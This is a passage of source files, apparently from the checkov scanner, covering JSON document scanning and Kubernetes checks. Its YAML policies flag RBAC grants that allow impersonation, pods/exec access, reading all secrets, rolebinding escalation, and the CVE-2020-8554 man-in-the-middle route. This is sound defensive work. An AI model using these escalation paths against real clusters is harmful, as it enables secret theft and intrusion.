scanned_file: str,\n        checks: List[BaseCheck],\n        skipped_checks: List[_SkippedCheck],\n        runner_filter: RunnerFilter,\n        entity: Dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: Dict[str, Any],\n    ) -> None:\n        for check in checks:\n            skip_info = ([x for x in skipped_checks if x[\"id\"] == check.id] or [{}])[0]\n\n            if runner_filter.should_run_check(check=check, report_type=self.report_type):\n                scanner: Callable[[str, Any, Any, Any, str, str, Dict[str, Any]], None] = self._scanner.get(check.block_type, self._scan_json_document)\n                if check.path:\n                    target = entity\n                    for p in check.path.split(\".\"):\n                        if p.endswith(\"]\"):\n                            ip = p.split(\"[\")\n                            i = int(ip[1][:-1])\n                            target = target[ip[0]][i]\n                        else:\n                            target = target[p]\n                else:\n                    target = entity\n\n                scanner(\n                    scanned_file,\n                    check,\n                    skip_info,\n                    target,\n                    entity_name,\n                    entity_type,\n                    results,\n                )\n\n    def scan(  # type:ignore[override]  # return type is different than the base class\n        self,\n        scanned_file: str,\n        entity: Dict[str, Any],\n        skipped_checks: List[_SkippedCheck],\n        runner_filter: RunnerFilter\n    ) -> Dict[str, Any]:\n        results: Dict[str, Any] = {}\n\n        if not entity:\n            return results\n\n        for instruction, checks in self.checks.items():\n            self._scan_json(\n                scanned_file=scanned_file,\n                checks=checks,\n                skipped_checks=skipped_checks,\n                runner_filter=runner_filter,\n                entity=entity,\n                entity_name=instruction,\n                entity_type=instruction,\n                results=results,\n            )\n\n        if self.wildcard_checks[\"*\"]:\n            self._scan_json(\n                scanned_file=scanned_file,\n                checks=self.wildcard_checks[\"*\"],\n                skipped_checks=skipped_checks,\n                runner_filter=runner_filter,\n                entity=entity,\n                entity_name=scanned_file,\n                entity_type=\"*\",\n                results=results,\n            )\n\n        return results\n\n    def update_result(\n        self,\n        check: BaseCheck,\n        entity_configuration: Dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: Dict[str, Any],\n        scanned_file: str,\n        skip_info: _SkippedCheck,\n    ) -> CheckResult:\n        check_result = self.run_check(\n            check,\n            entity_configuration,\n            entity_name,\n            entity_type,\n            scanned_file,\n            skip_info,\n        )\n\n        result = check_result[\"result\"]\n        result_key = f'{entity_type}.{entity_name}.{check.id}'\n\n        if isinstance(result, CheckResult) and result == CheckResult.SKIPPED:\n            results[result_key] = {\n                \"check\": check,\n                \"result\": result,\n                \"suppress_comment\": check_result[\"suppress_comment\"],\n                \"results_configuration\": None,\n            }\n            return result\n\n        if isinstance(result, tuple):\n            results[result_key] = {\n                \"check\": check,\n                \"result\": result[0],\n                \"results_configuration\": result[1],\n            }\n            return result[0]\n        evaluated_keys = check_result.get('evaluated_keys', [])\n        results[result_key] = {\n            \"check\": check,\n            \"result\": result,\n            \"results_configuration\": self.get_result_configuration(evaluated_keys, entity_configuration),\n        }\n        return result\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:\n        # not used, but is an abstractmethod\n        return \"\", \"\", {}\n\n    @staticmethod\n    def get_result_configuration(evaluated_keys: list[str], entity_conf: dict[str, Any] | list[Any]) \\\n            -> dict[str, Any] | list[str | dict[str, Any]]:\n        if len(evaluated_keys) == 1 and isinstance(entity_conf, dict):\n            # the result configuration should be the smallest code block found by the evaluated_key path, that is of \\\n            # type dict or list - the only types that currently have start_mark and end_mark lines configured\n            for path in evaluated_keys[0].split('/'):\n                reduced_conf = entity_conf.get(path)  # type:ignore[union-attr]\n                if not reduced_conf or isinstance(reduced_conf, str):\n                    return entity_conf\n                entity_conf = reduced_conf\n\n        return entity_conf\n"
  },
  {
    "path": "checkov/json_doc/enums.py",
    "content": "from enum import Enum\n\n\nclass BlockType(str, Enum):\n    DOCUMENT = \"jsondocument\"\n    OBJECT = \"jsonobject\"\n    ARRAY = \"jsonarray\"\n    SCALAR = \"jsonscalar\"\n"
  },
  {
    "path": "checkov/json_doc/registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.json_doc.base_registry import Registry\n\nregistry = Registry(CheckType.JSON)\n"
  },
  {
    "path": "checkov/json_doc/runner.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.parsers.json import parse\nfrom checkov.common.parsers.node import DictNode, ListNode\nfrom checkov.common.runners.object_runner import Runner as ObjectRunner\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check_registry import BaseCheckRegistry\n    from checkov.common.typing import LibraryGraphConnector\n    from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph\n    from checkov.common.runners.graph_manager import ObjectGraphManager\n\n\nclass Runner(ObjectRunner):\n    check_type = CheckType.JSON  # noqa: CCE003  # a static attribute\n\n    def __init__(\n        self,\n        db_connector: LibraryGraphConnector | None = None,\n        source: str = \"json\",\n        graph_class: type[ObjectLocalGraph] | None = None,\n        graph_manager: ObjectGraphManager | None = None,\n    ) -> None:\n        super().__init__(\n            db_connector=db_connector,\n            source=source,\n            graph_class=graph_class,\n            graph_manager=graph_manager,\n        )\n        self.file_extensions = ['.json']\n\n    def import_registry(self) -> BaseCheckRegistry:\n        from checkov.json_doc.registry import registry\n        return registry\n\n    @staticmethod\n    def _parse_file(\n        f: str, file_content: str | None = None\n    ) -> tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None:\n        if not f.endswith(\".json\"):\n            return None\n\n        return parse(filename=f, file_content=file_content)\n\n    def get_start_end_lines(self, end: int, result_config: dict[str, Any], start: int) -> tuple[int, int]:\n        if not isinstance(result_config, (DictNode, ListNode)):\n            # shouldn't happen\n            return 0, 0\n\n        start = result_config.start_mark.line\n        end = result_config.end_mark.line\n        return end, start\n"
  },
  {
    "path": "checkov/kubernetes/__init__.py",
    "content": "from checkov.kubernetes.checks import *  # noqa\n"
  },
  {
    "path": "checkov/kubernetes/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/ImpersonatePermissions.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_3\"\n  name: \"No ServiceAccount/Node should have `impersonate` permissions for groups/users/service-accounts\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - ClusterRoleBinding\n        - RoleBinding\n      operator: within\n      attribute: kind\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n          connected_resource_types:\n            - ClusterRole\n            - Role\n        - cond_type: attribute\n          attribute: 'subjects.*.kind'\n          operator: not_within\n          value:\n            - 'Node'\n            - 'ServiceAccount'\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - ClusterRoleBinding\n                - RoleBinding\n              connected_resource_types:\n                - ClusterRole\n                - Role\n            - or:\n              - cond_type: attribute\n                attribute: rules.resources\n                operator: not_intersects\n                value:\n                  - 'groups'\n                  - 'users'\n                  - 'serviceaccounts'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n              - cond_type: attribute\n                attribute: rules.verbs\n                operator: not_intersects\n                value:\n                  - 'impersonate'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n"
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/ModifyServicesStatus.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_4\"\n  name: \"ServiceAccounts and nodes that can modify services/status may set the `status.loadBalancer.ingress.ip` field to exploit \n  the unfixed CVE-2020-8554 and launch MiTM attacks against the cluster.\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - ClusterRoleBinding\n        - RoleBinding\n      operator: within\n      attribute: kind\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n          connected_resource_types:\n            - ClusterRole\n            - Role\n        - cond_type: attribute\n          attribute: 'subjects.*.kind'\n          operator: not_within\n          value:\n            - 'Node'\n            - 'ServiceAccount'\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - ClusterRoleBinding\n                - RoleBinding\n              connected_resource_types:\n                - ClusterRole\n                - Role\n            - or:\n              - cond_type: attribute\n                attribute: rules.resources\n                operator: not_intersects\n                value:\n                  - 'services/status'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n              - cond_type: attribute\n                attribute: rules.verbs\n                operator: not_intersects\n                value:\n                  - 'update'\n                  - 'patch'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n"
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/NoCreateNodesProxyOrPodsExec.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_2\"\n  name: \"Granting `create` permissions to `nodes/proxy` or `pods/exec` sub resources allows potential privilege escalation\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - ClusterRoleBinding\n        - RoleBinding\n      operator: within\n      attribute: kind\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n          connected_resource_types:\n            - ClusterRole\n            - Role\n        - cond_type: attribute\n          attribute: 'subjects.*.kind'\n          operator: not_within\n          value:\n            - 'Node'\n            - 'ServiceAccount'\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n        - and:\n          - cond_type: connection\n            operator: exists\n            resource_types:\n              - ClusterRoleBinding\n              - RoleBinding\n            connected_resource_types:\n              - ClusterRole\n              - Role\n          - or:\n              - cond_type: attribute\n                attribute: rules.resources\n                operator: not_intersects\n                value:\n                  - 'pods/exec'\n                  - 'nodes/proxy'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n              - cond_type: attribute\n                attribute: rules.verbs\n                operator: not_intersects\n                value:\n                  - 'create'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n"
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/ReadAllSecrets.yaml",
    "content": "metadata:\n  id: CKV2_K8S_5\n  name: \"No ServiceAccount/Node should be able to read all secrets\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - ClusterRoleBinding\n        - RoleBinding\n      operator: within\n      attribute: kind\n    - or:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n          connected_resource_types:\n            - ClusterRole\n            - Role\n        - cond_type: attribute\n          attribute: 'subjects.*.kind'\n          operator: not_within\n          value:\n            - 'Node'\n            - 'ServiceAccount'\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n        - and:\n            - cond_type: connection\n              operator: exists\n              resource_types:\n                - ClusterRoleBinding\n                - RoleBinding\n              connected_resource_types:\n                - ClusterRole\n                - Role\n            - or:\n              - cond_type: attribute\n                attribute: rules.resources\n                operator: not_intersects\n                value:\n                  - 'secrets'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n              - cond_type: attribute\n                attribute: rules.verbs\n                operator: not_intersects\n                value:\n                  - 'get'\n                  - 'watch'\n                  - 'list'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n              - cond_type: attribute\n                attribute: rules.resourceNames\n                operator: exists\n                resource_types:\n                  - ClusterRole\n                  - Role\n"
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/RequireAllPodsToHaveNetworkPolicy.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_6\"\n  name: \"Minimize the admission of pods which lack an associated NetworkPolicy\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - Pod\n    - cond_type: connection\n      operator: exists\n      resource_types:\n        - Pod\n        - Deployment\n      connected_resource_types:\n        - NetworkPolicy\n"
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/RoleBindingPE.yaml",
    "content": "metadata:\n  id: \"CKV2_K8S_1\"\n  name: \"RoleBinding should not allow privilege escalation to a ServiceAccount or Node on other RoleBinding\"\n  category: \"KUBERNETES\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - ClusterRoleBinding\n        - RoleBinding\n      operator: within\n      attribute: kind\n    - or:\n        - cond_type: connection  # Filter ClusterRoleBiding with connection to ClusterRole\n          operator: not_exists\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n          connected_resource_types:\n            - ClusterRole\n            - Role\n        - cond_type: attribute\n          attribute: 'subjects.*.kind'\n          operator: not_within\n          value:\n            - 'Node'\n            - 'ServiceAccount'\n          resource_types:\n            - ClusterRoleBinding\n            - RoleBinding\n        - and:\n            - cond_type: connection  # Filter ClusterRoleBiding with connection to ClusterRole\n              operator: exists\n              resource_types:\n                - ClusterRoleBinding\n                - RoleBinding\n              connected_resource_types:\n                - ClusterRole\n                - Role\n            - or:\n              - cond_type: attribute\n                attribute: rules.resources\n                operator: not_intersects\n                value:\n                  - 'clusterrolebindings'\n                  - 'rolebindings'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n              - cond_type: attribute\n                attribute: rules.verbs\n                operator: not_intersects\n                value:\n                  - 'bind'\n                  - '*'\n                resource_types:\n                  - ClusterRole\n                  - Role\n"
  },
  {
    "path": "checkov/kubernetes/checks/graph_checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/kubernetes/checks/resource/__init__.py",
    "content": "from checkov.kubernetes.checks.resource.k8s import *  # noqa\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/base_container_check.py",
    "content": "import logging\nfrom abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Dict, Any, List, Optional\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.kubernetes.checks.resource.registry import registry\n\n\nclass BaseK8sContainerCheck(BaseK8Check):\n    TEMPLATE_ENTITIES = (\n        \"Deployment\",\n        \"DeploymentConfig\",\n        \"DaemonSet\",\n        \"Job\",\n        \"ReplicaSet\",\n        \"ReplicationController\",\n        \"StatefulSet\",\n    )\n    SUPPORTED_ENTITIES = (\n        \"CronJob\",\n        \"Pod\",\n        \"PodTemplate\",\n    ) + TEMPLATE_ENTITIES\n\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: Optional[List[CheckCategories]] = None,\n        supported_entities: Optional[\"Iterable[str]\"] = None,\n        supported_container_types: Optional[\"Iterable[str]\"] = None,\n        guideline: Optional[str] = None,\n    ) -> None:\n        categories = categories or [CheckCategories.KUBERNETES]\n        supported_entities = supported_entities or BaseK8sContainerCheck.SUPPORTED_ENTITIES\n\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            guideline=guideline,\n        )\n        self.supported_container_types = supported_container_types or (\"containers\", \"initContainers\")\n        self.evaluated_container_keys: List[str] = []\n\n        registry.register(self)\n\n    def get_resource_id(self, conf: Dict[str, Any]) -> str:  # TODO: remove when implementing graph\n        return f\"{conf['kind']}.{conf['metadata'].get('namespace', 'default')}.{conf['metadata']['name']}\"\n\n    def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        if self.entity_type == \"Pod\":\n            evaluated_key_prefix = \"spec\"\n            try:\n                spec = conf[\"spec\"]\n                metadata = conf.get(\"metadata\", {})\n            except KeyError:\n                logging.info(f\"failed to extract {evaluated_key_prefix} for {self.entity_path}\")\n                return CheckResult.UNKNOWN\n        elif self.entity_type in \"PodTemplate\":\n            evaluated_key_prefix = \"template/spec\"\n            try:\n                spec = conf[\"template\"][\"spec\"]\n                metadata = conf[\"template\"].get(\"metadata\", {})\n            except KeyError:\n                logging.info(f\"failed to extract {evaluated_key_prefix} for {self.entity_path}\")\n                return CheckResult.UNKNOWN\n        elif self.entity_type in BaseK8sContainerCheck.TEMPLATE_ENTITIES:\n            evaluated_key_prefix = \"spec/template/spec\"\n            try:\n                spec = conf[\"spec\"][\"template\"][\"spec\"]\n                metadata = conf[\"spec\"][\"template\"].get(\"metadata\", {})\n            except (KeyError, TypeError):\n                return CheckResult.UNKNOWN\n        elif self.entity_type == \"CronJob\":\n            evaluated_key_prefix = \"spec/jobTemplate/spec/template/spec\"\n            try:\n                spec = conf[\"spec\"][\"jobTemplate\"][\"spec\"][\"template\"][\"spec\"]\n                metadata = conf[\"spec\"][\"jobTemplate\"][\"spec\"][\"template\"].get(\"metadata\", {})\n            except (KeyError, TypeError):\n                return CheckResult.UNKNOWN\n        else:\n            logging.info(f\"entity type {self.entity_type} not supported\")\n            return CheckResult.UNKNOWN\n\n        containers: List[Dict[str, Any]] = (\n            spec.get(\"containers\", []) if \"containers\" in self.supported_container_types and isinstance(spec, dict) else []\n        ) or []\n        init_containers: List[Dict[str, Any]] = (\n            spec.get(\"initContainers\", []) if \"initContainers\" in self.supported_container_types and isinstance(spec, dict) else []\n        ) or []\n\n        results = set()\n        result = self._check_containers(\n            evaluated_key_prefix=evaluated_key_prefix,\n            container_type=\"containers\",\n            metadata=metadata,\n            containers=containers,\n        )\n        results.add(result)\n        if result == CheckResult.FAILED:\n            return CheckResult.FAILED\n\n        result = self._check_containers(\n            evaluated_key_prefix=evaluated_key_prefix,\n            container_type=\"initContainers\",\n            metadata=metadata,\n            containers=init_containers,\n        )\n        results.add(result)\n        if result == CheckResult.FAILED:\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED if CheckResult.PASSED in results else CheckResult.UNKNOWN\n\n    def _check_containers(\n        self, evaluated_key_prefix: str, container_type: str, metadata: Dict[str, Any], containers: List[Dict[str, Any]]\n    ) -> CheckResult:\n        \"\"\"Check containers for possible violations.\"\"\"\n        if not isinstance(containers, list):\n            return CheckResult.UNKNOWN\n        results = set()\n        for idx, container in enumerate(containers):\n            result = self.scan_container_conf(metadata, container)\n            results.add(result)\n\n            # fail with the first occurrence\n            if result == CheckResult.FAILED:\n                if self.evaluated_container_keys:\n                    self.evaluated_keys = [\n                        f\"{evaluated_key_prefix}/{container_type}/[{idx}]/{key}\"\n                        for key in self.evaluated_container_keys\n                    ]\n                else:\n                    self.evaluated_keys = [f\"{evaluated_key_prefix}/initContainers/[{idx}]\"]\n                return CheckResult.FAILED\n\n        return CheckResult.PASSED if CheckResult.PASSED in results else CheckResult.UNKNOWN\n\n    @abstractmethod\n    def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult:\n        \"\"\"Return result of container check.\"\"\"\n        pass\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/base_rbac_check.py",
    "content": "from __future__ import annotations\n\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom typing import Dict, Any, List, TYPE_CHECKING\n\nif TYPE_CHECKING:\n    from collections.abc import Iterable\n\n\nclass RbacOperation():\n    \"\"\"\n    A collection of RBAC permissions that permit a certain operation within Kubernetes.\n    For example, the RbacOperation below denotes a write operation on admission webhooks.\n    control_webhooks = RbacOperation(\n        apigroups=[\"admissionregistration.k8s.io\"],\n        verbs=[\"create\", \"update\", \"patch\"],\n        resources=[\"mutatingwebhookconfigurations\", \"validatingwebhookconfigurations\"])\n    Rules matching an apiGroup, verb and resource should be able to perform the operation.\n    \"\"\"\n    __slots__ = (\"apigroups\", \"resources\", \"verbs\")\n\n    def __init__(self, apigroups: List[str], verbs: List[str], resources: List[str]) -> None:\n        self.apigroups = apigroups\n        self.verbs = verbs\n        self.resources = resources\n\n\nclass BaseRbacK8sCheck(BaseK8Check):\n    \"\"\"\n    Base class for checks that evaluate RBAC permissions in Roles and ClusterRoles\n    \"\"\"\n    def __init__(self, name: str, id: str, supported_entities: Iterable[str] | None = None) -> None:\n        if supported_entities is None:\n            supported_entities = (\"Role\", \"ClusterRole\")\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_entities)\n        # A role that grants *ALL* the RbacOperation in failing_operations fails this check\n        self.failing_operations: list[RbacOperation] = []\n\n    def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult:\n        rules = conf.get(\"rules\")\n        if rules and isinstance(rules, list):\n            for operation in self.failing_operations:\n                # if one operation can't be found, check passes\n                if not any(self.rule_can(rule, operation) for rule in rules):\n                    return CheckResult.PASSED\n            # all operations were found, therefore the check fails\n            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n    # Check if a rule has an apigroup, verb, and resource specified in @operation\n    def rule_can(self, rule: Dict[str, Any], operation: RbacOperation) -> bool:\n        return self.apigroup_or_wildcard(rule, operation.apigroups) and \\\n            self.verb_or_wildcard(rule, operation.verbs) and \\\n            self.resource_or_wildcard(rule, operation.resources)\n\n    def apigroup_or_wildcard(self, rule: Dict[str, Any], apigroups: List[str]) -> bool:\n        return self.value_or_wildcard(rule, \"apiGroups\", apigroups)\n\n    def verb_or_wildcard(self, rule: Dict[str, Any], verbs: List[str]) -> bool:\n        return self.value_or_wildcard(rule, \"verbs\", verbs)\n\n    def resource_or_wildcard(self, rule: Dict[str, Any], resources: List[str]) -> bool:\n        if \"resources\" in rule:\n            for granted_resource in rule[\"resources\"]:\n                if self.is_wildcard(granted_resource):\n                    return True\n                for failing_resource in resources:\n                    if granted_resource == failing_resource:\n                        return True\n                    # Check for '*/subresource' syntax\n                    if \"/\" in failing_resource and \"/\" in granted_resource:\n                        if granted_resource == \"*/\" + failing_resource.split(\"/\")[1]:\n                            return True\n        return False\n\n    # Check if rule has a key with a wildcard or a value from @value_list\n    def value_or_wildcard(self, rule: Dict[str, Any], key: str, value_list: List[str]) -> bool:\n        if rule.get(key):\n            for value in rule[key]:\n                if self.is_wildcard(value) or value in value_list:\n                    return True\n        return False\n\n    # Check if value is a K8s RBAC wildcard\n    def is_wildcard(self, value: str) -> bool:\n        return value == \"*\"\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/base_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.typing import _SkippedCheck, _CheckResult\n    from checkov.runner_filter import RunnerFilter\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self, report_type: str) -> None:\n        super().__init__(report_type)\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, dict[str, Any]]:  # type:ignore[override]\n        kind = entity.get(\"kind\") or \"\"\n        conf = entity\n        return kind, conf\n\n    def scan(\n        self,\n        scanned_file: str,\n        entity: dict[str, Any],\n        skipped_checks: list[_SkippedCheck],\n        runner_filter: RunnerFilter,\n        report_type: str | None = None,\n    ) -> dict[BaseCheck, _CheckResult]:\n        (entity_type, entity_configuration) = self.extract_entity_details(entity)\n        results = {}\n        checks = self.get_checks(entity_type)\n        for check in checks:\n            skip_info: \"_SkippedCheck\" = {}\n            if skipped_checks:\n                if check.id in [x['id'] for x in skipped_checks]:\n                    skip_info = [x for x in skipped_checks if x['id'] == check.id][0]\n\n            if self._should_run_scan(check, entity_configuration, runner_filter, self.report_type):\n                self.logger.debug(\"Running check: {} on file {}\".format(check.name, scanned_file))\n\n                result = check.run(scanned_file=scanned_file, entity_configuration=entity_configuration,\n                                   entity_name=entity_type, entity_type=entity_type, skip_info=skip_info)\n                results[check] = result\n        return results\n\n    @staticmethod\n    def _should_run_scan(\n        check: BaseCheck, entity_configuration: dict[str, Any], runner_filter: RunnerFilter, report_type: str\n    ) -> bool:\n        check_id_allowlist = runner_filter.checks\n        check_id_denylist = runner_filter.skip_checks\n        if check_id_allowlist or runner_filter.check_threshold:\n            # Allow list provides namespace-only allows, check-only allows, or both\n            # If namespaces not specified, all namespaces are scanned\n            # If checks not specified, all checks are scanned\n\n            if any(\"_\" in check_id for check_id in check_id_allowlist) or runner_filter.check_threshold:\n                # a Kubernetes namespace can't have an '_' in its name,\n                # therefore we assume it is a built-in or custom check\n                if not runner_filter.should_run_check(check=check, report_type=report_type):\n                    return False\n\n            allowed_namespaces = [check_id for check_id in check_id_allowlist if \"_\" not in check_id]\n            if allowed_namespaces:\n                # Check if namespace in allowed namespaces\n                if \"metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"metadata\"]:\n                    if entity_configuration[\"metadata\"][\"namespace\"] in allowed_namespaces:\n                        return True\n                elif \"parent_metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"parent_metadata\"]:\n                    if entity_configuration[\"parent_metadata\"][\"namespace\"] in allowed_namespaces:\n                        return True\n                else:\n                    if \"default\" in allowed_namespaces:\n                        return True\n            else:\n                # No namespaces to filter\n                return True\n        elif check_id_denylist or runner_filter.skip_check_threshold or runner_filter.use_enforcement_rules:\n            namespace_skip = False\n            if \"metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"metadata\"]:\n                if entity_configuration[\"metadata\"][\"namespace\"] in check_id_denylist:\n                    namespace_skip = True\n            elif \"parent_metadata\" in entity_configuration and \"namespace\" in entity_configuration[\"parent_metadata\"]:\n                if entity_configuration[\"parent_metadata\"][\"namespace\"] in check_id_denylist:\n                    namespace_skip = True\n            else:\n                if \"default\" in check_id_denylist:\n                    namespace_skip = True\n            if runner_filter.should_run_check(check=check, report_type=report_type) and not namespace_skip:\n                return True\n        else:\n            return True\n        return False\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/base_root_container_check.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import Dict, Any, Optional\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.data_structures_utils import find_in_dict\nfrom checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check\nfrom checkov.kubernetes.checks.resource.registry import registry\n\n\nclass BaseK8sRootContainerCheck(BaseK8Check):\n\n    def __init__(\n            self,\n            name: str,\n            id: str,\n            guideline: Optional[str] = None,\n    ) -> None:\n        supported_kind = ('Pod', 'Deployment', 'DaemonSet', 'StatefulSet', 'ReplicaSet', 'ReplicationController',\n                          'Job', 'CronJob')\n        categories = (CheckCategories.KUBERNETES,)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind,\n                         guideline=guideline)\n        registry.register(self)\n\n    @abstractmethod\n    def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        \"\"\"Return result of Kubernetes rooot container check.\"\"\"\n        raise NotImplementedError()\n\n    def extract_spec(self, conf: Dict[str, Any]) -> Dict[str, Any]:\n        spec = {}\n\n        if conf['kind'] == 'Pod':\n            if \"spec\" in conf:\n                spec = conf[\"spec\"]\n        elif conf['kind'] == 'CronJob':\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/jobTemplate/spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        else:\n            inner_spec = find_in_dict(input_dict=conf, key_path=\"spec/template/spec\")\n            spec = inner_spec if inner_spec else spec\n        return spec\n\n    @staticmethod\n    def check_runAsNonRoot(spec: dict[str, Any]) -> str:\n        if not isinstance(spec, dict):\n            return \"ABSENT\"\n        security_context = spec.get(\"securityContext\")\n        if security_context and isinstance(security_context, dict) and \"runAsNonRoot\" in security_context:\n            if security_context[\"runAsNonRoot\"]:\n                return \"PASSED\"\n            else:\n                return \"FAILED\"\n        return \"ABSENT\"\n\n    @staticmethod\n    def check_runAsUser(spec: Dict[str, Any], uid: int) -> str:\n        if isinstance(spec, dict) and spec.get(\"securityContext\") and isinstance(spec.get(\"securityContext\"), dict) and \"runAsUser\" in spec[\"securityContext\"]:\n            if isinstance(spec[\"securityContext\"][\"runAsUser\"], int) and spec[\"securityContext\"][\"runAsUser\"] >= uid:\n                return \"PASSED\"\n            else:\n                return \"FAILED\"\n        return \"ABSENT\"\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/base_spec_check.py",
    "content": "from abc import abstractmethod\nfrom collections.abc import Iterable\nfrom typing import Dict, Any, Optional\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.kubernetes.checks.resource.registry import registry\n\n\nclass BaseK8Check(BaseCheck):\n    def __init__(\n        self,\n        name: str,\n        id: str,\n        categories: \"Iterable[CheckCategories]\",\n        supported_entities: \"Iterable[str]\",\n        guideline: Optional[str] = None,\n    ) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=\"k8\",\n            guideline=guideline\n        )\n        self.supported_specs = supported_entities\n        registry.register(self)\n\n    def scan_entity_conf(self, conf: Dict[str, Any], entity_type: str) -> CheckResult:\n        self.entity_type = entity_type\n        return self.scan_spec_conf(conf)\n\n    @abstractmethod\n    def scan_spec_conf(self, conf: Dict[str, Any]) -> CheckResult:\n        \"\"\"Return result of Kubernetes object check.\"\"\"\n        raise NotImplementedError()\n"
  },
  {
    "path": "checkov/kubernetes/checks/resource/base_spec_omitted_or_value_check.py",
